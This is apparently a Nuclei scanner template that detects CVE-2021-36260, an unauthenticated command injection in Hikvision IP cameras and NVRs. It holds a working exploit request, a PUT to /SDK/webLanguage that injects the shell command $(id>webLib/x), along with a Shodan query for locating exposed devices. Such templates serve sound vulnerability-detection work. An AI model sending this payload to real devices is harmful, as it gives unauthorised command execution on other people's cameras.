id: CVE-2021-36260 info: name: Hikvision IP camera/NVR - Unauthenticated RCE author: pdteam,gy741 severity: critical description: A command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. reference: - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html - https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/ - https://nvd.nist.gov/vuln/detail/CVE-2021-36260 - https://github.com/Aiminsun/CVE-2021-36260 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-36260 cwe-id: CWE-77,CWE-20 metadata: shodan-query: http.favicon.hash:999357577 tags: cve,cve2021,hikvision,rce,iot,intrusive requests: - raw: - | PUT /SDK/webLanguage HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 $(id>webLib/x) - | GET /x HTTP/1.1 Host: {{Hostname}} req-condition: true matchers-condition: and matchers: - type: dsl dsl: - "contains(body_2,'uid=') && contains(body_2,'gid=')" - type: status status: - 200 extractors: - type: regex regex: - "(u|g)id=.*"